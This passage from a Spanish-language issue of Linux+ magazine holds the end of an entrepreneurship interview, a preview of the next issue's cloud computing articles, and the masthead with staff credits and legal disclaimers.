bueno y equilibrado para abarcar un proyecto,
da igual que la idea sea muy buena, porque no se
va a poder sacar adelante. Pero también le doy
a las ideas el valor que se merecen. Pensemos
en empresas ya establecidas, que sacan un nuevo
producto, que a su vez surgió de una idea. Por
ejemplo, Windows Vista. En este caso, el equipo,
el dinero, etc., no era un problema, sin embargo
falló “lo menos importante” la idea. Si ahora
nos vamos al terreno de los emprendedores, si
partes de una mala idea, aunque tengas todo lo
demás lo más seguro es que te dirijas al fracaso,
aunque por supuesto pueden haber excepciones. Quizás esta pregunta da para hacer todo un
artículo sobre ella, definiendo las características que deben cumplir las ideas, los aspectos
del entorno que le influyen, etc., pero está claro
que sin la idea inicial nada nuevo podría surgir.
La entrevista ha sido realizada por
nuestro colaborador José Carlos Cortizo
Pérez.
Figura 2. Página de búsqueda
www.lpmagazine.org
89
El tema principal del siguiente número de Linux+ será:
Cloud Computing
El próximo número incluirá los siguientes artículos:
• ¿Cloud Computing: ¿gran oportunidad para Linux?
• Seguridad de Sistemas de Cloud Computing
• Máquinas Virtuales, parte II
• Aplicaciones de Internet Enriquecidas (RIA): Programando RIA con Flex y AMFPHP
• Descubriendo a Cinelerra: Un clásico editor
libre de video
La Redacción se reserva derecho a modificar sus planes
Mensual Linux+ está publicado por Software-Wydawnictwo Sp. z o. o.
Diseño portada: Agnieszka Marchocka
Producción: Marta Kurpiewska, [email protected]
Redactora jefe:
Paulina Pyrowicz, [email protected]
Colaboradores:
Francisco Javier Carazo Gil, José Carlos Cortizo Pérez,
David Puente Castro, Jorge Emanuel Capurro
Gráfico: Łukasz Pabian – "insane"
Publicidad: [email protected]
Suscripción: [email protected]
Correctores: Pablo Cardozo
Distribución: Coedis, S. L.
Avd. Barcelona, 225
08750 Molins de Rei (Barcelona),
España
Preparación de DVDs: Ireneusz Pogroszewski, Andrzej Kuca
DTP:
Marcin Ziółkowski
Graphics & Design Studio,
www.gdstudio.pl
Dirección: Software–Wydawnictwo Sp. z o.o.,
ul. Bokserska 1, 02-682 Varsovia, Polonia
La Redacción se ha esforzado para que el material publicado en la
revista y en los DVDs que la acompañan funcionen correctamente.
Sin embargo, no se responsabiliza de los posibles problemas que
puedan surgir.
Todas las marcas comerciales mencionadas en la revista son
propiedad de las empresas correspondientes y han sido usadas
únicamente con fines informativos.
La Redacción usa el sistema de composición automática
Los DVDs incluidos en la revista han sido comprobados con el programa AntiVirenKit, producto de la empresa G Data Software Sp. z o.o.
¡Advertencia! Queda prohibida la reproducción total o parcial de esta ublicación
periódica, por cualquier medio o procedimiento, sin para ello
contar con la autorización previa, expresa y por escrito del editor.
Linux ® es una marca comercial registrada de Linus Torvalds.
Descargar